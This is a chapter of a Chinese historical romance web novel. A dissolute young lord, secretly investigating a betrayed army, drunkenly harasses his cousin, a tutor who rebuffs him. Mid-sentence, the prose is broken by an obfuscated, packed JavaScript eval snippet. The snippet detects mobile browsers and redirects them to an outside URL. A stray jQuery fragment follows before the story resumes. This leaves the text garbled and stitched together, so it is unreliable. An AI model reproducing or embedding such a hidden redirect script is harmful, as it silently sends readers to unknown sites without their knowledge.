醉仙楼,丝竹管弦,觥筹交错,听雪雅间内,却是另一番景象,门窗紧闭,隔绝了大部分喧嚣,只余下酒液注入杯中的细微声响,两个相对无言的身影。
陆今野斜倚在铺着软绒的窗榻上,一身墨蓝色暗纹锦袍,领口微敞,露出些许锁骨的轮廓。
他指尖漫不经心地捻着一只白玉酒杯,杯中琥珀色的玉冰烧微微晃动,映着窗外漏进的被灯火染得昏黄的光线。
他对面坐着一位身着青灰色常服,作寻常文士打扮的男子,年约三旬,面容普通,唯有一双眼睛,锐利沉静,与他整体的低调装扮颇有些不符。
“这么说……还是毫无头绪?”陆今野仰头将杯中酒一饮而尽,喉结滚动,辛辣的液体一路烧灼而下,却未能驱散心头的寒意。他声音带着几分酒后的沙哑,更添了几分慵懒,但那慵懒之下,却压着一丝难以察觉的焦躁。
青衫男子,名为顾青,曾是顾家军中的一名哨探,如今明面上是京中一家小书铺的老板,实则为陆今野暗中调查旧案的重要助力。
他摇了摇头,眉头紧锁:“时间过去太久,当年参战之人,除了……除了战死的,剩下的几个关键人物,要么调任边陲,音讯难通,要么就像人间蒸发了一样。唯一可能知情的那个老军需官,上个月也暴病身亡了,线索彻底断了。”
“暴病?”陆今野嗤笑一声,眼神骤然冷了下来,像淬了冰,“还真是巧得很。”
他拿起桌上的酒壶,又给自己斟满一杯,却没有立刻喝,只是盯着那晃动的酒液,仿佛能从中看出往昔的血与火。
三年前,北疆赤沙谷的惨烈,至今仍是他夜不能寐的梦魇。他所投顾家军,他那些曾一起饮酒高歌、誓同生死的兄弟,几乎全军覆没。
若非时任监军的大哥陆今安临行前强行将他捆绑送回京城,以母亲病重需人陪伴为由将他下来,此刻的他,恐怕也早已是赤沙谷中的一缕孤魂。
他活了下来,却背负着沉重的枷锁。幸存者的愧疚,对真相的渴望,像两条毒蛇,日夜啃噬着他的心。
那一站顾家军全军覆没,大哥陆今安侥幸捡了一条命归来,平步青云,外界皆言他踩着同袍尸骨上位,各种谩骂不绝于耳,所以陆今安一直辟府另居。
对那场战役的蹊跷之处,陆今安却讳莫如深。这更让陆今野坚信,那绝非一次简单的军事失误,背后定然隐藏着不为人知的阴谋。
这三年来,他表面上纵情声色,浪荡不羁,成了京中人人侧目的纨绔子弟,不过是为了麻痹可能存在的暗中眼睛,方便暗中查访。可一次次燃起希望,又一次次陷入僵局,就像今夜,得到的依旧是令人失望的消息。
“公子,此事急不得。”顾青压低声音,“对方手脚干净得很,显然势力不小。我们还需从长计议,小心为上。”
“从长计议?”陆今野将杯中酒再次饮尽,重重地将酒杯顿在桌上,发出“咚”的一声闷响。他嘴角勾起一抹自嘲的弧度,“我已经计议了三年!三年了,顾青!那些兄弟的尸骨,怕是都寒透了!”他的声音里带着压抑不住的痛苦和愤懑。
顾青沉默片刻,道:“至少,我们确定了一点,当年那份错误的情报,并非来自军方内部,而是通过一个极其隐秘的渠道递送的。只要能找到这个渠道的源头……”
“源头在哪儿?”陆今野抬眼看他,目光如炬,“皇宫大内?还是哪个贵府深宅?顾青,你告诉我,怎么找?”他语气中的无力感,几乎要溢出来。
顾青无言以对。他知道陆今野的压力,一个本该在战场上建功立业的少年郎,却要终日扮演一个废物,内心的煎熬可想而知。
他拿起酒壶,给陆今野和自己都倒上酒:“公子,喝酒。今日暂且放下,明日再图良策。”
陆今野不再说话,只是闷头喝酒。醇香的美酒入喉,却品不出丝毫滋味,只剩下满腔的苦涩。他与顾青又低声交换了一些零散信息,分析了几条看似可行实则渺茫的线索,直到壶空杯尽,夜色深沉。
结账离开醉仙楼时,陆今野已是醉意醺然。他拒绝了顾青相送的好意,独自一人,踉踉跄跄地走在寂静的街道上。
秋夜的凉风拂面,非但没能让他清醒,反而将酒意催发得更浓。他只觉得头痛欲裂,心中那股因案情无解而生的郁结之气,更是堵得他喘不过气来。
陆今野甩鞍下马,将马鞭随手抛给小厮,步履微晃地走进府门。夜风拂过,带来一丝若有若无的清香,让他混沌的头脑为之一清。
他循着香气走去,不知不觉来到兰馨斋外。只见院中竹影摇曳,窗棂内透出暖黄的灯光,一个纤细的身影正坐在窗前,低头书写着什么。
是黎清雨。
陆今野驻足暗处,借着月光打量她。只见她专注地伏案疾书,偶尔停下来思索,指尖轻点朱唇,那认真的模样竟有几分动人。
“倒是有几分才女的样子。”他喃喃自语,唇角不自觉勾起一抹笑。
也许是酒劲上头,也许是那身影太过宁静美好,陆今野鬼使神差地向前几步,故意弄出些声响。
黎清雨果然被惊动,抬起头来。见到站在月光下的陆今野,她明显一怔,随即恢复平静,起身微微福礼:“二公子。”
陆今野借着酒意,踱步走进院子,目光在她身上流转:“表妹这么晚还不睡,是在写情诗么?”
黎清雨眉头微蹙,语气疏离:“二表哥说笑了,清雨在准备明日的课业。”
“哦?闺学先生也要备课?”陆今野故意凑近些,闻到一股淡淡的墨香混着女儿香,心下微微一荡,“不知表妹明日要讲什么?”
黎清雨后退半步,避开他的气息:“明日讲《诗经》。”
“《诗经》好哇,”陆今野挑眉一笑,故意吟道,“关关雎鸠,在河之洲。窈窕淑女,君子好逑……表妹觉得这首如何?”
这话语中的轻佻之意再明显不过。黎清雨面色一沉,语气冷了几分:“《关雎》歌颂后妃之德,二表哥还是莫要曲解其意为好。”
陆今野见她一本正经的模样,更觉有趣,又逼近一步:“表妹何必如此严肃?长夜漫漫,你我兄妹聊聊又何妨?”
黎清雨再次后退,脊背已抵到窗棂,无路可退。她抬起眼,目光如冰:“二公子请自重。夜深人静,孤男寡女独处一院,于礼不合。若无事,清雨告退了。”
说罢,她转身便要进屋。
“站住!”陆今野酒意上涌,被她这般冷待,心下不悦,伸手便要拉她衣袖。
黎清雨仿佛背后长眼般侧身避开,转身时手中不知何时多了一柄戒尺,目光冷冽如刀:“二公子,请止步。”
陆今野看着她手中的戒尺,先是一愣,随即失笑:“表妹这是要教训我?”
“清雨不敢,”戒尺在她手中稳如磐石,“只是闺学中有规矩,学生无礼,先生当责罚之。二公子虽非清雨学生,但既入闺学之地,也当守礼。”
四目相对,一个醉眼朦胧带着戏谑,一个清冷如霜满是戒备。
夜风吹过,竹叶沙沙作响,更衬得这一刻寂静非常。
忽然,远处传来脚步声和灯笼的光亮,似是巡夜的婆子。黎清雨神色微松,陆今野却“啧”了一声,显然也不愿被下人看到这般场景。
他后退一步,恢复那副玩世不恭的模样:“表妹何必如此紧张?不过是开个玩笑罢了。”说着从怀中取出那个小银壶,仰头饮了一口,“长夜无聊,本想邀表妹共饮一杯,既然表妹不领情,那便作罢。”
黎清雨戒尺仍未放下,只冷声道:“二公子若无正事,还请回吧。”
陆今野看着她戒备的模样,忽然觉得无趣,摆摆手转身欲走,却又像是想起什么,回头道:“对了,提醒表妹一句,府中人多口杂,表妹少在祖母面前高论,否则传到某些人耳中了就不好了。表妹好自为之。”
这话似是提醒,又似是威胁。黎清雨心中一凛,面上却不露分毫:“多谢二公子提醒,清雨行事光明磊落,不怕人言。”
陆今野轻笑一声,不再多言,摇摇晃晃地转身离去。月光将他的影子拉得很长,那背影在夜色中竟显出几分落寞。
待他走远,黎清雨才缓缓放下戒尺,手心已是一片冷汗。她倚窗而立,望着陆今野消失的方向,眉头紧锁。
这位二公子看似轻浮放荡,但方才那一瞬间,她竟然从他眼中看到了一丝锐利如鹰的光芒,似与平日的玩世不恭判若两人。
次日清晨,黎清雨照常去兰馨斋授课。才走到半路,便见几个丫鬟聚在回廊下窃窃私语,见她过来,立刻噤声散开,目光中带着好奇与探究。
黎清雨心知必是昨晚之事已经传开,却只作不知,神色如常地走向书斋。
课才讲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546683|186735||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到一半,忽听外面一阵喧哗。一个小丫鬟慌慌张跑进来:“先、先生,二少爷他……”
话音未落,陆今野已经闯了进来,一身酒气未散,锦衣皱巴巴的,显然昨夜未曾更衣便睡下了。
几位小姐吓得低呼一声,陆静瑶当即起身不悦道:“二哥!这是闺学之地,你闯进来做什么?”
陆今野却不理她,目光直直看向黎清雨,唇角带着戏谑的笑:“听说表妹今日讲《诗经》?正好我也学过几句,特来听听表妹高见。”
黎清雨面色平静:“二公子若有兴趣,可在一旁静听。但请莫要打扰授课。”
陆今野嗤笑一声,竟真的大剌剌地在最后面找了个位置坐下,一双桃花眼却始终盯着黎清雨,目光灼灼,毫不避讳。
堂内气氛顿时变得尴尬起来。几位小姐如坐针毡,黎清雨却恍若未觉,继续讲课:“方才我们说到《关雎》,现下来看《蒹葭》。所谓伊人,在水一方,这一句……”
“这一句说的是求而不得的苦闷,”陆今野突然插话,目光仍盯着黎清雨,“就像我现在,想看表妹一笑而不可得,岂不正是此意?”
如此露骨的调笑,让堂内一片哗然。陆静瑶气得脸色发白,正要开口斥责,却被黎清雨抬手制止。
她转向陆今野,神色平静无波:“二公子解诗倒是别具一格。可惜《蒹葭》真正表达的是对理想境界的追求,而非仅限于男女私情。二公子若真对《诗经》有兴趣,清雨可推荐几本注疏,以免曲解原意。”
一席话说得滴水不漏,既驳斥了他的轻佻之言,又全了礼数。几位小姐忍不住掩口轻笑,看向黎清雨的目光中多了几分敬佩。
陆今野碰了个软钉子,却不生气,反而笑得越发意味深长:“表妹真是……伶牙俐齿。”
这时,赵嬷嬷突然出现在门口,面色严肃:“二少爷,老夫人请您过去一趟。”
陆今野挑眉,似乎早有所料,懒洋洋地起身,临走前还回头对黎清雨笑道:“表妹授课精彩,明日我再来讨教。”
待他离去,堂内顿时响起一片松气声。陆静瑶走到黎清雨身边,低声道:“先生不必理会二哥,他向来如此放肆。”
黎清雨微微一笑:“无妨,我们继续上课。”
只是无人看见,她袖中的手微微握紧,指尖泛白。
下课后,黎清雨独自走在回疏影阁的路上,却在假山旁被拦住去路。正是陆今野,显然刚从寿安堂出来。
“表妹好手段,”他唇角带笑,眼中却无笑意,“不过是兄妹间开个玩笑,竟闹到祖母那里去了。”
黎清雨平静地看着他:“二公子误会了,清雨并未向老夫人告状。”
“哦?”陆今野逼近一步,“那祖母如何知晓昨晚之事?”
“府中人多口杂,何须清雨多言?”黎清雨不退反进,抬起眼直视他,“二公子若言行端正,又何必怕人知晓?”
四目相对,剑拔弩张。
忽然,陆今野轻笑一声,打破僵局:“表妹倒是胆色过人。也罢,今日是我唐突了。”
他说着,从袖中取出一支精美的狼毫笔,递到黎清雨面前,“赔礼。”
黎清雨不接:“二公子不必如此。”
“嫌弃?”陆今野挑眉,“这可是上好的湖笔,配得上表妹的才情。”
“无功不受禄。”黎清雨依旧拒绝。
陆今野也不坚持,随手将笔抛给一旁的小厮,目光却未离开黎清雨:“表妹这般性子,在陆府怕是会吃大亏的。”
“不劳二公子费心。”黎清雨福了一福,转身离去。
走出很远,她仍能感觉到那道目光如影随形地粘在背上,带着探究,带着玩味,更带着一种说不清道不明的危险。
回到疏影苑,黎清雨关上房门,背靠着门板长长吐出一口气。
豆蔻担忧地迎上来:“先生,您没事吧?府里都在传……”
“我知道,”黎清雨打断她,走到窗前,望着院中翠竹,“随他们去说吧。”
她拿起昨日未写完的教案,继续奋笔疾书,仿佛要将所有纷扰都隔绝在外。
笔尖划过纸张,沙沙作响。黎清雨的目光渐渐坚定。
无论陆今野是真心轻佻还是别有目的,无论府中有多少明枪暗箭,她都不会退缩。
这场仗,她必须赢。